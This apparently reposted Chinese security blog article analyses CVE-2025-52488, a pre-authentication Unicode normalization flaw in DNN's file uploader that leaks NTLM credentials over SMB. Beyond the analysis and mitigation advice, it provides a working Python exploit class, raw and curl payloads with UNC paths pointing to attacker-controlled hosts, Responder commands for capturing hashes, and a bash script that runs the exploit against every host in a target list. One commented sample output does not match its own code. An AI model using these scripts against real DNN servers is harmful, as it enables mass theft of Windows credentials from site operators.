利用Windows .NET特性和Unicode规范化漏洞攻击DNN (DotNetNuke)

概述

DNN(前身为DotNetNuke)是2003年建立的最古老的开源内容管理系统之一,使用C#(.NET)编写,由活跃的爱好者社区维护。它也被企业广泛使用。

漏洞背景

CVE-2017-9822 历史案例

我们熟悉这项技术是因为CVE-2017-9822,该漏洞允许通过DNNPersonalization cookie的不安全反序列化进行远程代码执行(RCE)。这个CVE一直是反序列化攻击的绝佳案例研究。

新发现的CVE-2025-52488

2025年4月,我们的安全研究团队在DNN中发现了CVE-2025-52488,该漏洞允许向任意主机发起SMB调用。攻击者可以利用此问题,通过运行Responder服务器潜在地窃取NTLM凭据。

技术原理分析

1. C#和Windows中的文件系统操作

在Windows机器上运行.NET代码时,如果攻击者控制路径,文件系统操作本质上会带来风险。这是因为攻击者可以向文件系统操作提供UNC路径,导致对攻击者控制的SMB服务器进行带外调用。

这可能导致许多不良行为:

  • 从任意SMB共享获取文件并在后续逻辑中使用
  • 简单地连接到攻击者控制的SMB服务器
  • 导致NTLM凭据泄露

虽然可以在底层Windows机器上应用几种缓解措施来防止这种泄露,但根据我们的经验,这种技术在2025年仍然活跃,特别是在经常托管DNN等旧软件的旧系统上。

2. Path.Combine函数的关键行为

编写任何文件和路径操作的C#开发人员必须了解Path.Combine函数的工作原理。

如果Path.Combine的第二个参数(通常是用户输入)是绝对路径,则忽略前一个参数并返回绝对路径。

Microsoft文档明确说明了这种行为:

"此方法旨在将各个字符串连接成表示文件路径的单个字符串。但是,如果第一个参数以外的参数包含根路径,则忽略任何先前的路径组件,返回的字符串以该根路径组件开头。"
 

尽管文档明确说明了这一点,但这个问题在我们审计的C#代码库中仍然普遍存在。

3. Unicode规范化

当您尝试支持全球多样化的用户群时,最终会遇到Unicode问题。许多语言需要Unicode字符支持,但实现这种支持可能是一条滑溜的道路,经常导致处理用户输入时出现异常。

开发人员可以通过简单地将用户输入规范化为ASCII文本来避免处理持续的Unicode解析相关问题。

但是,如果在安全检查边界之后进行此操作,可能会导致严重的安全漏洞。在几乎任何编程语言中将Unicode规范化为ASCII通常会导致意外的绕过,因为某些字符可以转换为ASCII,而这些字符本应被之前的安全边界阻止或预防。

漏洞利用链分析

漏洞代码位置

DNN中有一个预认证端点接受文件上传: Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs

安全边界分析

代码中实施了多个安全边界来防止filename变量包含恶意输入:

  1. 调用Path.GetFileName确保只提取文件名,而不是绝对路径
  2. 调用Regex.Replace确保任何潜在危险字符都被下划线替换
  3. 调用Utility.ValidateFileNameUtility.CleanFileName作为深度防御策略

Unicode转换函数分析

关键问题在于Utility.ConvertUnicodeChars函数中的这一行:

input = Encoding.ASCII.GetString(Encoding.GetEncoding(1251).GetBytes(input));

这会将任何Unicode字符规范化为ASCII。

漏洞利用点

在用户输入通过此函数后,调用:

while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))

如果fileName变量包含绝对路径,Path.Combine调用将忽略第一个参数。攻击者控制的绝对路径然后被输入到File.Exists中,这将与攻击者控制的SMB共享进行外部交互。

Unicode字符利用

关键Unicode字符

我们构建了一个基本的模糊测试器,使用与DNN完全相同的逻辑来查找在通过Encoding.ASCII.GetString调用后规范化为.\的Unicode字符。

发现的字符:

  • %EF%BC%8EU+FF0E: "FULLWIDTH FULL STOP" (.)
  • %EF%BC%BCU+FF3C: "FULLWIDTH REVERSE SOLIDUS" (\)

字符特性

  • U+FF0E (.): 全角句号/句点字符,主要用于东亚排版
  • U+FF3C (\): 全角反斜杠字符,在亚洲排版环境中使用

详细复现指南

环境准备

1. 目标环境搭建
# 下载DNN (建议使用受影响的版本)
# 下载地址: https://github.com/dnnsoftware/Dnn.Platform/releases
# 受影响版本: 9.x.x 系列
# 安装要求
- Windows Server 2016/2019/2022 或 Windows 10/11
- IIS 10.0+
- .NET Framework 4.8
- SQL Server 2016+ 或 SQL Server Express
2. 攻击者环境准备
# 安装Responder工具
git clone https://github.com/lgandx/Responder.git
cd Responder
pip install -r requirements.txt
# 或使用预编译版本
# 下载地址: https://github.com/lgandx/Responder/releases
3. 网络配置
# 确保攻击者机器和目标机器在同一网络段
# 或者配置路由使SMB流量能够到达攻击者机器
# 检查网络连通性
ping 
nbtstat -A 

漏洞发现过程

1. 代码审计阶段
// 关键代码位置分析
// 文件: Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs
private void UploadWholeFile(HttpContext context, List statuses)
{
    for (int i = 0; i < context.Request.Files.Count; i++)
    {
        var file = context.Request.Files[i];
        var fileName = Path.GetFileName(file.FileName);  // 第一层保护
        
        if (!string.IsNullOrEmpty(fileName))
        {
            // 第二层保护:替换点号
            fileName = Regex.Replace(fileName, @"\.(?![^.]*$)", "_", RegexOptions.None);
            
            // 第三层保护:验证文件名
            if (Utility.ValidateFileName(fileName))
            {
                fileName = Utility.CleanFileName(fileName);
            }
            
            // 关键漏洞点:Unicode转换
            fileName = Utility.ConvertUnicodeChars(fileName);  // 绕过所有保护
        }
        
        // 漏洞触发点
        while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
        {
            // 这里会触发SMB调用
        }
    }
}
2. Unicode字符模糊测试
// 构建模糊测试器
using System;
using System.Text;
using System.Text.RegularExpressions;
public class UnicodeFuzzer
{
    public static void Main()
    {
        // 测试Unicode字符转换
        string[] testChars = {
            "\uFF0E",  // FULLWIDTH FULL STOP
            "\uFF3C",  // FULLWIDTH REVERSE SOLIDUS
            "\u3002",  // IDEOGRAPHIC FULL STOP
            "\uFF0F",  // FULLWIDTH SOLIDUS
            "\u2215",  // DIVISION SLASH
            "\u29F8",  // BIG SOLIDUS
        };
        
        foreach (string testChar in testChars)
        {
            string result = ConvertUnicodeChars(testChar);
            Console.WriteLine($"Input: {testChar} (U+{((int)testChar[0]):X4}) -> Output: '{result}'");
        }
    }
    
    public static string ConvertUnicodeChars(string input)
    {
        // 模拟DNN的Unicode转换逻辑
        input = Encoding.ASCII.GetString(Encoding.GetEncoding(1251).GetBytes(input));
        return input;
    }
}

详细复现步骤

步骤1: 启动Responder服务器
# 在攻击者机器上启动Responder
cd Responder
python3 Responder.py -I eth0 -wrf
# 参数说明:
# -I eth0: 指定网络接口
# -w: 启动WPAD代理服务器
# -r: 响应NBT-NS查询
# -f: 指纹主机
# 或者使用更详细的配置
python3 Responder.py -I eth0 -wrf -v --lm
步骤2: 构建恶意文件名
# Python脚本生成恶意文件名
import urllib.parse
def generate_malicious_filename():
    # 关键Unicode字符
    fullwidth_backslash = "\uFF3C"  # \
    fullwidth_dot = "\uFF0E"        # .
    
    # 构建UNC路径
    malicious_path = f"{fullwidth_backslash}{fullwidth_backslash}attacker.com{fullwidth_backslash}share{fullwidth_backslash}test.jpg"
    
    # URL编码
    encoded_filename = urllib.parse.quote(malicious_path)
    
    return encoded_filename
print("恶意文件名:", generate_malicious_filename())
# 输出: %EF%BC%BC%EF%BC%BCattacker.com%EF%BC%8Eshare%EF%BC%BCtest.jpg
步骤3: 构造HTTP请求
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx?PortalID=0&storageFolderID=1&overrideFiles=false HTTP/1.1
Host: target-dnn-server.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 245
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="%EF%BC%BC%EF%BC%BCattacker.com%EF%BC%8Eshare%EF%BC%BCtest.jpg"
Content-Type: image/jpeg
fake_image_content
------WebKitFormBoundary7MA4YWxkTrZu0gW--
步骤4: 使用Burp Suite进行测试
# 1. 启动Burp Suite
# 2. 配置代理设置
# 3. 拦截请求并修改文件名
# 4. 发送到目标服务器
# 或者使用curl命令
curl -X POST \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
  -F "[email protected];filename=%EF%BC%BC%EF%BC%BCattacker.com%EF%BC%8Eshare%EF%BC%BCtest.jpg" \
  "http://target-dnn-server.com/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx?PortalID=0&storageFolderID=1&overrideFiles=false"
步骤5: 监控Responder输出
# 观察Responder的输出日志
[+] Listening for events...
[SMB] NTLMv2-SSP Hash     : Administrator::DOMAIN:1122334455667788:hash_here:challenge_here
[SMB] NTLMv2-SSP Hash     : IUSR::DOMAIN:1122334455667788:hash_here:challenge_here
[SMB] NTLMv2-SSP Hash     : NETWORK SERVICE::DOMAIN:1122334455667788:hash_here:challenge_here
# 成功捕获NTLM哈希

调试和验证

1. 使用Visual Studio调试
// 在DNN源代码中添加断点
// 文件: Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs
// 断点1: 文件名处理开始
var fileName = Path.GetFileName(file.FileName);
// 断点2: Unicode转换前
fileName = Utility.ConvertUnicodeChars(fileName);
// 断点3: File.Exists调用前
while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
2. 网络流量分析
# 使用Wireshark捕获SMB流量
# 过滤器: smb || smb2
# 使用tcpdump
tcpdump -i eth0 -w capture.pcap port 445
# 分析捕获的流量
tshark -r capture.pcap -Y "smb || smb2" -V
3. 日志分析
# 检查IIS日志
# 位置: C:\inetpub\logs\LogFiles\W3SVC1\
# 查找包含Unicode字符的请求
# 检查Windows事件日志
# 事件查看器 -> Windows日志 -> 安全
# 查找SMB相关事件
# 检查DNN日志
# 位置: [DNN安装目录]\Portals\_default\Logs\

高级利用技术

1. 自动化利用脚本
#!/usr/bin/env python3
import requests
import urllib.parse
import time
import sys
class DNNUnicodeExploit:
    def __init__(self, target_url, attacker_ip):
        self.target_url = target_url
        self.attacker_ip = attacker_ip
        self.session = requests.Session()
    
    def generate_payload(self):
        """生成Unicode绕过payload"""
        unicode_chars = {
            'backslash': '\uFF3C',  # \
            'dot': '\uFF0E',        # .
            'slash': '\uFF0F',      # /
        }
        
        # 构建UNC路径
        payload = f"{unicode_chars['backslash']}{unicode_chars['backslash']}{self.attacker_ip}{unicode_chars['backslash']}share{unicode_chars['backslash']}test.jpg"
        return urllib.parse.quote(payload)
    
    def exploit(self):
        """执行漏洞利用"""
        payload = self.generate_payload()
        
        # 构造multipart请求
        files = {
            'file': ('fake.jpg', 'fake_content', 'image/jpeg')
        }
        
        # 修改文件名
        files['file'] = (payload, 'fake_content', 'image/jpeg')
        
        url = f"{self.target_url}/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx"
        params = {
            'PortalID': '0',
            'storageFolderID': '1',
            'overrideFiles': 'false'
        }
        
        try:
            print(f"[+] 发送payload到: {url}")
            print(f"[+] Payload: {payload}")
            
            response = self.session.post(url, params=params, files=files, timeout=10)
            
            print(f"[+] 响应状态码: {response.status_code}")
            print(f"[+] 响应内容: {response.text[:200]}...")
            
            return True
            
        except requests.exceptions.RequestException as e:
            print(f"[-] 请求失败: {e}")
            return False
def main():
    if len(sys.argv) != 3:
        print("用法: python3 exploit.py  ")
        print("示例: python3 exploit.py http://192.168.80.184 192.168.80.184")
        sys.exit(1)
    
    target_url = sys.argv[1]
    attacker_ip = sys.argv[2]
    
    exploit = DNNUnicodeExploit(target_url, attacker_ip)
    exploit.exploit()
if __name__ == "__main__":
    main()
2. 批量扫描脚本
#!/bin/bash
# 批量扫描DNN目标
TARGETS_FILE="targets.txt"
ATTACKER_IP="192.168.80.184"
LOG_FILE="scan_results.log"
echo "开始批量扫描..." > $LOG_FILE
while IFS= read -r target; do
    echo "扫描目标: $target"
    
    # 检查DNN是否存在
    response=$(curl -s -o /dev/null -w "%{http_code}" "$target/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx")
    
    if [ "$response" = "200" ]; then
        echo "[+] 发现DNN: $target" >> $LOG_FILE
        
        # 尝试漏洞利用
        python3 exploit.py "$target" "$ATTACKER_IP"
        
        if [ $? -eq 0 ]; then
            echo "[+] 漏洞利用成功: $target" >> $LOG_FILE
        else
            echo "[-] 漏洞利用失败: $target" >> $LOG_FILE
        fi
    else
        echo "[-] 未发现DNN: $target" >> $LOG_FILE
    fi
    
    sleep 2  # 避免请求过于频繁
    
done < "$TARGETS_FILE"
echo "扫描完成,结果保存在: $LOG_FILE"

漏洞利用示例

HTTP请求示例
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx?PortalID=0&storageFolderID=1&overrideFiles=false HTTP/1.1
Host: target
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXX
Content-Length: 198
------WebKitFormBoundaryXXXXXXXXXXXX
Content-Disposition: form-data; name="file"; filename="%EF%BC%BC%EF%BC%BCoqi3o3fv9cpyquhbd6h8bx19a0gs4nsc%EF%BC%8Eoastify%EF%BC%8Ecom%EF%BC%BC%EF%BC%BCc$%EF%BC%BC%EF%BC%BCan.jpg"
Content-Type: image/jpeg
test
------WebKitFormBoundaryXXXXXXXXXXXX--

相关变体分析

Browser.aspx.cs中的类似漏洞

DNN Platform/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/Browser.aspx.cs中存在相同的攻击向量,但由于以下逻辑,无法在预认证状态下访问:

if ((this.currentSettings.BrowserMode.Equals(BrowserType.StandardBrowser) || this.currentSettings.ImageButtonMode.Equals(ImageButtonType.EasyImageButton)) && HttpContext.Current.Request.IsAuthenticated)

这无法被绕过,但仍被报告给DNN,因为它可能在认证后导致利用。

影响评估

直接影响

  • 允许向任意主机发起SMB调用
  • 可能导致NTLM凭据泄露
  • 预认证漏洞,无需用户登录

缓解措施

  • 在Windows机器上应用SMB缓解措施
  • 更新到DNN的最新版本
  • 实施网络分段和防火墙规则

结论

这个漏洞对我们团队来说是一个有趣的发现,因为需要完美的问题组合才能被利用。虽然可能向Responder服务器进行带外调用,但DNN开发人员在File.Exists调用后实施了几个额外的安全检查,防止了更严重的漏洞(如任意文件写入)的存在。

在阅读DNN代码后,我们清楚地看到已经做出了几项努力来强化其代码库,这促使我们在发现其代码库中的可利用预认证漏洞时变得更有创意。

安全建议

  1. 立即更新: 将DNN更新到包含修复的最新版本
  2. 网络监控: 监控异常的SMB流量
  3. 凭据保护: 实施强密码策略和双因素认证
  4. 网络分段: 限制SMB流量和外部网络访问
  5. 安全审计: 定期进行代码安全审计,特别关注Unicode处理

参考资料

  • Blaze Infosec关于NTLM哈希泄露的详细说明
  • Microsoft Path.Combine文档
  • CVE-2017-9822: DNN反序列化漏洞
  • CVE-2025-52488: DNN Unicode规范化漏洞
  • Responder工具文档
  • Unicode字符表

你可能感兴趣的:(windows,.net,dnn)